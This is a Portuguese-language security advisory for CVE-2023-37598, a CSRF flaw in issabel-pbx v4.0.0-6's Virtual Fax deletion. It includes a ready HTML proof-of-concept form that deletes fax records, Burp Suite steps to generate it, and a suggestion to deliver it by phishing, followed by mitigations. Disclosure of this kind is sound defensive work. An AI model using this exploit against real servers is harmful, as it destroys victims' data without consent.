
Uma vulnerabilidade de Cross-Site Request Forgery (CSRF) existe no issabel-pbx v4.0.0-6 dentro da funcionalidade de gerenciamento de Fax Virtual.
ID CVE: CVE-2023-37598
Tipo de Vulnerabilidade: Falsificação de Solicitação entre Sites (CSRF)
Produto Afetado: issabel-pbx v4.0.0-6
Severidade: Médio
Descoberto por: Sahil Ojha
Data de Divulgação: 10/07/2023
Página do Fornecedor: https://www.issabel.org/
Repositório do Software: https://github.com/IssabelFoundation/issabelPBX
Testado em: Windows
Existe uma vulnerabilidade de Falsificação de Solicitação entre Sites (CSRF) no issabel-pbx v4.0.0-6 na funcionalidade de gerenciamento de Fax Virtual. O aplicativo não implementa proteção CSRF (por exemplo, tokens anti-CSRF ou atributos de cookie SameSite) na ação de exclusão de entradas de fax virtual.
Isso permite que um atacante remoto não autenticado crie uma página HTML maliciosa que — quando visitada por um administrador ou usuário autenticado — envia silenciosamente uma solicitação HTTP falsificada para o aplicativo em nome da vítima. A solicitação falsificada causa a exclusão de registros de fax virtual sem o conhecimento ou consentimento da vítima, resultando em perda de dados e interrupção dos serviços de fax.
A Falsificação de Solicitação entre Sites (CSRF) é um ataque que engana o navegador da vítima para enviar uma solicitação autenticada a um aplicativo web sem a intenção do usuário. Como o navegador inclui automaticamente cookies de sessão em cada solicitação, o servidor não consegue distinguir uma solicitação legítima de uma falsificada quando não há token CSRF presente.
| Parâmetro | Valor |
|---|
O seguinte arquivo HTML, quando aberto por um usuário autenticado do issabel-pbx, enviará automaticamente uma solicitação POST falsificada que exclui o fax virtual com id_fax=1.
Arquivo: CSRF exploit.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_fax" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Nota: Substitua
{Issabel IP}pelo endereço IP ou nome do host do servidor alvo. O valorid_faxpode ser alterado para atingir qualquer registro de fax virtual pelo seu ID.
Faça login no painel de administração do Issabel PBX e navegue até a página de Fax Virtual:
https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1

Capture a solicitação de exclusão usando o proxy Burp Suite. Tente excluir uma entrada de Fax Virtual, intercepte a solicitação, clique com o botão direito nela e navegue até Engagement Tools → Generate CSRF PoC.

Salve o exploit CSRF gerado como um arquivo HTML (veja o PoC acima).
Entregue o exploit a um usuário que já esteja logado no aplicativo Issabel (por exemplo, através de um e-mail de phishing ou um link malicioso). Quando a vítima abrir a página e clicar em "Submit request", a entrada de Fax Virtual será excluída sem qualquer interação adicional.


Um atacante hospeda o arquivo HTML malicioso em um servidor externo ou o incorpora em um e-mail. Quando um administrador do Issabel PBX autenticado abre esta página na mesma sessão do navegador, o navegador envia automaticamente a solicitação POST falsificada — incluindo o cookie de sessão válido — para o servidor Issabel. O servidor processa a solicitação como legítima, excluindo o registro de fax virtual alvo. A vítima não recebe nenhum aviso e pode não notar a exclusão até inspecionar manualmente a lista de fax.
Para remediar esta vulnerabilidade, o fornecedor deve implementar uma ou mais das seguintes mitigações:
SameSite=Strict ou SameSite=Lax para impedir que o navegador o envie em solicitações de origem cruzada.X-Requested-With: XMLHttpRequest) para todas as operações sensíveis e verificá-lo no lado do servidor.| Aplicativo | issabel-pbx |
| Versão | 4.0.0-6 |
| URL Vulnerável | /index.php?menu=faxnew&action=view&id=<ID> |
| Ação Vulnerável | delete (parâmetro POST) |
| Proteção Ausente | Token CSRF / Atributo de cookie SameSite |